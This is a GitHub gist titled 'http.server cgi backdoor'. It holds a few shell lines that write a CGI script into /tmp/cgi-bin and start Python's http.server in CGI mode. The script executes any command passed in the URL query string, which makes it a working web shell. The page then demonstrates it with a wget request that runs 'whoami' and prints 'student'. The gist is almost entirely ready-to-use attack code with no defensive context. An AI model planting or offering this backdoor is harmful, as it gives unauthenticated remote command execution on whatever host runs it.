Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save AV1080p/0053d1f09e8130f07f64009edb6e7ed4 to your computer and use it in GitHub Desktop.
Save AV1080p/0053d1f09e8130f07f64009edb6e7ed4 to your computer and use it in GitHub Desktop.
http.server cgi backdoor
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi?whoami"
student
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment